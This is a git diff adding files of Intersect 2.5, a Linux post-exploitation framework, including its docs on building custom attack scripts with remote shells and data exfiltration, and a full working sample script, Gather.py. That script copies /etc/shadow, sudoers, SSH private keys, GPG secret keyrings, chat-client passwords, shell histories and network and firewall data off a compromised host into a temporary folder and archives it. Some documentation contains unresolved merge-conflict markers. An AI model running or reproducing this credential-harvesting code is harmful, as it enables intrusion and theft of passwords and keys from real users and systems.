https://github.com/ohdae/Intersect-2.5/ +contact: bindshell[at]live[dot]com + +Table of Contents +* General Description +* Modules Explanation +* Script Creation Process +* Credits & How to Contribute + +[ Description ] + +Intersect 2.5 is the second major release in the project line. This release is much different from the previous, +in that it gives the user complete control over which features the Intersect script includes and lets them easily +import their own features, among other new functionality. + +This release focuses mainly on the individual modules(features) and the capability to generate your own customized +Intersect scripts. By using the Create.py application, the user is guided through a menu-driven process which allows +them to select which modules they would like to include, import their own custom modules and ultimately create an +Intersect script that is built around the specific modules they choose. + + + +[ Modules ] + +A module is simply a specific post-exploitation function. Each individual module itself is not capable of stand-alone +execution until it is imported with the Create application and built into a custom script. +With Intersect 2.5, there is the arrival of many new modules and some changes to the original features that were included +in version 2.0. + +The modules are broken down into two categories. +The first category, Standard Modules, includes all of the original Intersect 2.0 features and tasks but they are +separated into individual modules to provide more control over the finalized custom script. +For example, the credential gathering feature is now it's own module called "creds" and +the network information gathering feature is a separate module called "network". + +The second category is the Custom modules and includes anything that was not part of Intersect 2.0 and is also where +any new, additional or custom modules that the user imports will be stored. While the user can import any module +functionality they wish, the Custom modules packaged with Intersect 2.5 focus on post-exploitation automation, remote +shell access and various data exfiltration functions. + +For more information on writing your own modules or importing modules for use, see the Writing-Modules documentation. + + + +[ Creation Process ] + +The Create.py application is used to generate the actual Intersect script that you will be using on the target system. +There is no final Intersect script until you make one! + +When you start Create, you will be presented with a series of menus that provides the following features: +* Generate custom Intersect scripts + -- choose as many or as few modules as you want + -- define specific variables (i.e., shell ports and hosts, crypto keys, proxy ports, etc) + -- view, add or remove modules from the queue + -- view description and information on any given module +* Import custom modules + -- download and import from a url + -- import from a local directory +* Download Intersect 2.5 updates + -- requires Git to be installed locally + -- useful for bug fixes, new features, etc +* Various help menus and lots of other commands + +You will be asked to give your newly created script a name. Enter the filename, without the Python file extension, when +you are prompted. Your final script will be saved in the Scripts directory. + + diff --git a/Intersect-2.5/Docs/UPDATING b/Intersect-2.5/Docs/UPDATING new file mode 100644 index 0000000..9c05f6e --- /dev/null +++ b/Intersect-2.5/Docs/UPDATING @@ -0,0 +1,25 @@ + +Documentation: How to update Intersect Framework + +- How To Update +- Updates Schedule + + +How To Update: + +*coming soon* + + +Updates Schedule: + +New features, bug fixes and upgrades are constantly being pushed to +the Intersect Github repository. I will do my best to make sure that every +Monday morning, there is a stable release available. The stable release will +be listed under the 'master' branch and any developmental and beta upgrades +will be listed under the 'development' branch. + +Every Monday morning, you can update to the latest stable release by using +the command 'git pull master' from your main Intersect directory. + +For the beta release use 'git pull development' + diff --git a/Intersect-2.5/Docs/WritingModules b/Intersect-2.5/Docs/WritingModules new file mode 100644 index 0000000..d48cd39 --- /dev/null +++ b/Intersect-2.5/Docs/WritingModules @@ -0,0 +1,244 @@ +Intersect 2.5 - Documentation +How To Write Custom Modules + +Tables of Contents +* Module Format +* Writing +* Built-in Functions & Global Variables +* Importing + +Note: The best way to get an idea of the module format is to view the source code for any of the current modules. +The 'egressbuster' Custom module is a good example to start with because it makes use of the global variables and more +than one Python function. + + + + [ Module Format ] + +The entire Intersect 2.5 framework and every module included is pure Python, based mainly on the core Python libraries. + +Each module must start on the second line of the file. This line is used to place a comment that explains a short +description and any author information about that module. 'Line X:' is included just for demonstration purposes, do not +include that text. +Example => + +Line 1: +Line 2: # This is a sample module description. Written by A. Hacker. + +The next section of the module is the actual code that will be executed when we call the module function from the +command line. As of right now, each module is simply a Python function or a collection of functions. In the near future, +this will most likely be changed to implement classes so we can better handle larger and more complex modules. + +The name of your function should correlate to the modules task. For example, the Standard bindshell module is saved as +'bshell' and the function is called 'bshell.' This is because Create takes the modules filename and uses that for the +getopt option that is called from the command line. +Example => + +Line 1: +Line 2: # This is a basic TCP bind shell +Line 3: def function(): +Line 4: print("Insert some code here!") + +The above example would be saved as a file named "function" within the Modules/Custom directory. +When Create adds that module to the custom script, getopt will take the first letter of the filename for the short option +and take the whole name for the long option. +So, the module called 'function' with the function 'function()' becomes '-f' or '--function' from the command line. +When you execute ./Script.py -f or ./Script.py --function, the Script will attempt to call the function function(). + +If you don't name the module filename and function correctly, there will be errors when trying to call the function. + +To recap the full format of a module and how Create calls that module, view the example below. + + +*Sample Module* +Line 1: +Line 2: # This is a sample module description. Written by A. Hacker. +Line 3: def function(): +Line 4: print("This is my example module!") +Line 5: if os.path.exists("/etc/passwd") is True: +Line 6: print("We found the passwd file!") + + + +*Sample GetOpt* (This is generated automatically by the Create application) +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'fh', ['function', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-f', '--function'): + function() + + + +*Sample Command Line Usage* +root@system:~$ ./Script.py --function +This is my sample module! +We found the passwd file! + +root@system:~$ ./Script.py --help +intersect 2.5 | custom version +http://bindshell.it.cx | ohdae +Modules: + -f --function + -h --help + + + + + [ Writing Modules ] + +Now that you have the general idea of the module format, this section will briefly explain how to write custom modules. +Writing your own modules is almost indentical to writing a regular Python script, only with a few slight changes. +If you all ready know Python, you'll find this very straight forward. + +* You do not need to define getopt or any usage information. This will be generated on the fly by Create. + +* You do not need to import libraries, unless you need to use one that is not included in the Script Template file. + -- The Script Template includes alot of the usually needed Python libraries. For a full list, view the file in the + src/Templates/ directory. + -- If you import a module that is not part of the Python standard libraries, make sure you call an Import exception + in case the target system does not have that library installed on their system. + -- If you want to use a 3rd party library that you know the target system does not have installed, you can either + install the module manually via pip or uploading the files or use an application like cx_Freeze or PyInstaller + to package all the needed libraries with your script and create a standalone executable file. + + Example: +<<<<<<< HEAD + def function1(): + try: + import Impacket + except ImportError: + print("[!] Python library Impacket is not installed!") + Shutdown() + sys.exit(0) + + +* Many of the global variables are all ready defined in the Script Template. This covers most remote shell variables, + temporary directories, etc. + For a full list of all built-in functions and global variables, see the next section of this document. +======= + def function1(): + try: + import Impacket + except ImportError: + print("[!] Python library Impacket is not installed!") + Shutdown() + sys.exit(0) + +* Many of the global variables are all ready defined in the Script Template. This covers most remote shell variables, + temporary directories, etc. + For example, if you are writing a remote shell module you do not need to define HOST, PORT, RHOST, RPORT, etc. because + you are prompted for that information during the Create process and they are saved as global variables to the final + script. +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + +* Defining arguments: + To define arguments, simply do this inside of your modules function. If your module requires the user supplies + a file name, specify that in the Description line and add a line of code to your module like this: + filename = sys.argv[2] + + Note: This will be better implemented in the future to include any needed arguments in the Usage menu. + +* Using Classes: + If you are writing a larger module that makes use of Python classes, you only need to make one slight change + within the final custom script. This is done to ensure that getopt calls the correct class and function when + calling your module. Make this change in the Scripts/YourScript.py file after you've finished with Create. + + Getopt WITHOUT Class: + elif o in ('-f', '--function'): + function() + + Getopt WITH Class: + elif o in ('-f', '--function'): + classname.function() + +* Making use of the Temporary Directories (lift-*/) + Intersect 2.5 saves any gathered information and files to a series of temporary directories within the target + systems /tmp/ folder. We create a folder called /tmp/lift+$randomstring. + The temporary directory for each session is saved as the global variable Temp_Dir. + To create subfolders of your sessions temporary directory, simply do something like: + os.system("mkdir %s/MyModulesStuff" % Temp_Dir) + This will create the folder /tmp/lift-$randomstring/MyModulesStuff where you can save files and other information + that your module creates or uses. + + Every time Intersect 2.5 exits, we check to see if the temporary directory is empty and unused. If it is, we delete + the directory so we don't just leave a bunch of random directories behind. + But if there is files saved into the lift+$randomstring directory or any of the subfolders, they are kept until + you or your module manually removes them. + + If you want your module to shut down the Intersect script and check if lift+$randonstring contains any files, + just call the built-in Shutdown() function followed by sys.exit(0) + + + + + [ Built-in Functions & Variables ] + + The table below details the other built-in variables and functions that you can make use of for your modules. + Feel free to edit the Script_Template file to add or change whatever you need. + + Variable or Function Assigned Task + -------------------- -------------- + list: modList list of all included module names + variable: Temp_Dir lift+$randomstring directory + variable: Home_Dir os.environ['HOME'] + variable: User_Ip_Address socket.gethostbyname(socket.gethostname()) + variable: distro os.uname()[1] + variable: distro2 platform.linux_distribution()[0] + variable: PORT listen port defined using Create + variable: RHOST remote host defined using Create (*your* IP address, not the targets) + variable: RPORT remote port defined using Create (*your* listening port, not the targets) + variable: PPORT proxy port defined using Create + variable: PKEY private cipher key defined using Create + variable: UTMP_FILEPATH "/var/run/utmp" + variable: WTMP_FILEPATH "/var/run/wtmp" + variable: LASTLOG_FILEPATH "/var/log/lastlog" + variable: Rand_Dir ''.join(random.choice(string.letters) for i in xrange(12)) + function: Shutdown() Checks for files in Temp_Dir. If no files exist, deletes directory. + function: signalHandler() Catch for Ctrl+C. Calls Shutdown() and exits script clean. + function: whereis(app) Checks system PATH for existence of app. + + + + + [ Importing Your Modules ] + +After you're done writing your module, you are going to want to import it into the framework so you can use it +within custom scripts and the Create application. This is very easy to do and can be done in one of two ways. + + +* Method One (manual) + + Simply copy or save the module you wish to import into the src/Modules/Custom/ directory. + After you've placed your module in the Custom directory, restart Create and you're all done. + + +* Method Two (via Create) + + 1. Execute Create.py and select option '3' from the main menu. + 3 => Load Plugin Module + 2. To import a local module that is stored on your system, select option '1' + 1 => Load module by filename + 2a. To download an import a module from a webserver, select option '2' + 2 => Download and import module + 3. Enter the full path of your locally stored module into the option '1' prompt. + This will copy the module from it's location into the src/Modules/Custom/ directory. + 3a. Enter the URL with filename into the option '2' prompt. + This will download the module from the specified webserver and save it to the src/Modules/Custom/ directory. + + If everything worked the way it should, you will see the following message and be returned to the Main Menu: + "[+] Module successfully loaded into the custom modules directory!" + + +<<<<<<< HEAD +======= + + +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf diff --git a/Intersect-2.5/Junk/is_valid_ipv4.py b/Intersect-2.5/Junk/is_valid_ipv4.py new file mode 100644 index 0000000..6701aa4 --- /dev/null +++ b/Intersect-2.5/Junk/is_valid_ipv4.py @@ -0,0 +1,36 @@ +def is_valid_ipv4(ip): + pattern = re.compile(r""" + ^ + (?: + # Dotted variants: + (?: + # Decimal 1-255 (no leading 0's) + [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} + | + 0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's) + | + 0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's) + ) + (?: # Repeat 0-3 times, separated by a dot + \. + (?: + [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} + | + 0x0*[0-9a-f]{1,2} + | + 0+[1-3]?[0-7]{0,2} + ) + ){0,3} + | + 0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff + | + 0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777 + | + # Decimal notation, 1-4294967295: + 429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}| + 42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}| + 4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8} + ) + $ + """, re.VERBOSE | re.IGNORECASE) + return pattern.match(ip) is not None diff --git a/Intersect-2.5/Junk/validip.py b/Intersect-2.5/Junk/validip.py new file mode 100644 index 0000000..8adce77 --- /dev/null +++ b/Intersect-2.5/Junk/validip.py @@ -0,0 +1,19 @@ +#!/usr/bin/python +#create valid ipv4 address + + +def valid_ip(ip): + parts = ip.split('.') + return ( + len(parts) == 4 + and all(part.isdigit() for part in parts) + and all(0 <= int(part) <= 255 for part in parts) + ) + +ip_address = raw_input("enter ip to check: ") +if valid_ip(ip_address) is True: + print ("valid ip!") +else: + print ("no!") + + diff --git a/Intersect-2.5/Logs/ActivityLog b/Intersect-2.5/Logs/ActivityLog new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Logs/build_log b/Intersect-2.5/Logs/build_log new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/README b/Intersect-2.5/README new file mode 100644 index 0000000..22b8753 --- /dev/null +++ b/Intersect-2.5/README @@ -0,0 +1,43 @@ +Intersect 2.5 - Post Exploitation Framework +author: ohdae [bindshell@live.com] +website: http://bindshell.it.cx + https://github.com/ohdae/Intersect-2.5/ + http://www.twitter.com/bindshell_ + +NOTICE: See the documentation with the Docs directory for a detailed README, Guide documentation + and a How-To on writing custom modules. + + +LICENSE + +Copyright (c) 2012, Intersect 2.5 (Post-Exploitation Framework) +[author: bindshell@live.com] +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Please take notice that Intersect 2.5 is provided as is, and is a royalty free open-source application. + +The end-user, you, is allowed to use, modify and/or change whatever you wish within this applications source-code, +provided that you will give appropriate credit where credit is due and the above license and copyright information +is included. diff --git a/Intersect-2.5/Scripts/Samples/Gather.py b/Intersect-2.5/Scripts/Samples/Gather.py new file mode 100644 index 0000000..5648b5d --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Gather.py @@ -0,0 +1,571 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['archive', 'extras', 'osuser', 'getrepos', 'network', 'creds'] + PORT = 8888 + RHOST = '' + RPORT = 8888 + PPORT = 8080 + PKEY = 'KXYRTUX' +def archive(): + ''' + @description: Creates a tar archive of any files located within the Intersect sessions temporary directory + @short: create tar archive of sessions temp directory + @author: ohdae [bindshell@live.com] + ''' + + os.chdir(Temp_Dir) + temp_files = os.listdir(Temp_Dir) + tarlist("reports", temp_files) + + +def extras(): + ''' + @description: Searches for system, service and app configurations. Also tries to locate certain installed apps and protection measures. + @author: ohdae [bindshell@live.com] + @short: finds configs, security measures and misc apps + ''' + maketemp("extras") + protectiondir = (Temp_Dir+"/extras") + os.chdir(protectiondir) + os.mkdir(Config_Dir) + + + configs = [ "/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", + "/etc/bitlbee/bitlbee.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", + "/etc/security/access.conf", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/apt/secring.gpg", + "/etc/apt/trusted.gpg", "/etc/nginx/nginx.conf", "/etc/shells", "/etc/gated.conf", "/etc/inetd.conf", "/etc/rpc", + "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf" + "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/ldap.conf", "/opt/lampp/etc/httpd.conf", "/etc/cups/cups.conf", + "/etc/exports", "/etc/fstab", "~/.msf4/history", "/etc/ssl/openssl.cnf" ] + + + for x in configs: + copy2temp(x, "configs") + + print("[+] Searching for protection and misc extras....") + program = [ "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", + "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", + "rkhunter", "perl", "tcpdump", "nc", "webmin", "python", "gcc", "jailkit", + "pwgen", "proxychains", "bastille", "wireshark", "nagios", "nmap", "firefox", + "nagios", "tor", "openvpn", "virtualbox", "magictree", "apparmor", "git", + "xen", "svn", "redmine", "ldap", "msfconsole" ] + + for x in program: + location = whereis(x) + if location is not None: + text = location + '\n' + writenew("FullList.txt", text) + + users() + + for user in userlist: + if os.path.exists("/home/%s/.msf4/" % user) is True: + os.system("ls -l /home/%s/.msf/loot > MSFLoot-%s.txt" % (user, user)) + if os.geteuid() == 0: + if os.path.exists("/root/.msf4/") is True: + os.system("ls -l /root/.msf4/loot > MSFLoot-root.txt") + + + +def osuser(): + ''' + @description: Enumerate Linux distro, kernel, installed apps and services, printers, cronjobs, user lists and history files, CPU and memory info, etc. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system information + ''' + print("[+] Collecting operating system and user information....") + maketemp("osinfo") + os.chdir(Temp_Dir+"/osinfo/") + + proc = Popen('ps aux', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + for items in output: + writenew("ps_aux.txt", items) + + os.system("ls -alh /usr/bin > bin.txt") + os.system("ls -alh /usr/sbin > sbin.txt") + os.system("ls -al /etc/cron* > cronjobs.txt") + os.system("ls -alhtr /media > media.txt") + os.system("/usr/bin/lpstat -v > printers.txt") + + if distro == "ubuntu" or distro2 == "Ubuntu": + os.system("dpkg -l > dpkg_list.txt") + elif distro == "arch" or distro2 == "Arch": + os.system("pacman -Q > pacman_list.txt") + elif distro == "slackware" or distro2 == "Slackware": + os.system("ls /var/log/packages > packages_list.txt") + elif distro == "gentoo" or distro2 == "Gentoo": + os.system("cat /var/lib/portage/world > packages.txt") + elif distro == "centos" or distro2 == "CentOS": + os.system("yum list installed > yum_list.txt") + elif distro == "red hat" or distro2 == "Red Hat": + os.system("rpm -qa > rpm_list.txt") + else: + pass + + if distro == "arch": + os.system("egrep '^DAEMONS' /etc/rc.conf > services_list.txt") + elif distro == "slackware": + os.system("ls -F /etc/rc.d | grep \'*$\' > services_list.txt") + elif whereis('chkconfig') is not None: + os.system("chkconfig -A > services_list.txt") + + os.system("mount -l > mount.txt") + os.system("cat /etc/sysctl.conf > sysctl.txt") + os.system("find /var/log -type f -exec ls -la {} \; > loglist.txt") + os.system("uname -a > distro_kernel.txt") + os.system("df -hT > filesystem.txt") + os.system("free -lt > memory.txt") + os.system("locate sql | grep [.]sql$ > SQL_locations.txt") + os.system("find /home -type f -iname '.*history' > HistoryList.txt") + os.system("cat /proc/cpuinfo > cpuinfo.txt") + os.system("cat /proc/meminfo > meminfo.txt") + + copy2temp(Home_Dir+"/.bash_history") + copy2temp(Home_Dir+"/.viminfo") + copy2temp(Home_Dir+"/.mysql_history") + + sysfiles = ["distro_kernel.txt","filesystem.txt","memory.txt","cpuinfo.txt","meminfo.txt"] + combinefiles("SysInfo.txt", sysfiles) + + maketemp("osinfo/users") + os.chdir("users/") + + os.system("ls -alhR ~/ > CurrentUser.txt") + os.system("ls -alhR /home > AllUsers.txt") + if os.path.exists(Home_Dir+"/.mozilla/") is True: + os.system("find "+Home_Dir+"/.mozilla -name bookmarks*.json > UsersBookmarks.txt") + + + +def getrepos(): + ''' + @description: Tries to find various source code repositories and management tools. Git, SVN. + @author: ohdae [bindshell@live.com] + @short: search for source code repos + ''' + os.mkdir(Temp_Dir+"/repos") + repodir = (Temp_Dir+"/repos") + os.chdir(repodir) + + users() + + if whereis('git') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("find /home/%s -name *.git > %sRepos.txt" % (user, user)) + proc = Popen('cat /home/%s/.gitconfig' % user, + shell=True, + stdout=PIPE, + ) + userinfo = proc.communicate()[0] + + if os.geteuid() == 0: + os.system("find /root -name *.git > RootRepos.txt") + proc = Popen('cat /root/.gitconfig', + shell = True, + stdout=PIPE, + ) + + output = proc.communicate()[0] + writenew("GitConfigs.txt", output + userinfo) + + if whereis('svn') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("/usr/bin/find /home/%s -name *.svn > SvnRepos.txt" % user) + +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = ip = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -a --archive create tar archive of sessions temp directory ') + print(' -e --extras finds configs, security measures and misc apps') + print(' -o --osuser enumerate user and system information') + print(' -g --getrepos search for source code repos') + print(' -n --network enumerate network info') + print(' -c --creds enumerate user and system credentials') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'aeognc', ['archive', 'extras', 'osuser', 'getrepos', 'network', 'creds', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-a', '--archive'): + archive() + elif o in ('-e', '--extras'): + extras() + elif o in ('-o', '--osuser'): + osuser() + elif o in ('-g', '--getrepos'): + getrepos() + elif o in ('-n', '--network'): + network() + elif o in ('-c', '--creds'): + creds() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) diff --git a/Intersect-2.5/Scripts/Samples/Network.py b/Intersect-2.5/Scripts/Samples/Network.py new file mode 100644 index 0000000..7df1037 --- /dev/null +++ 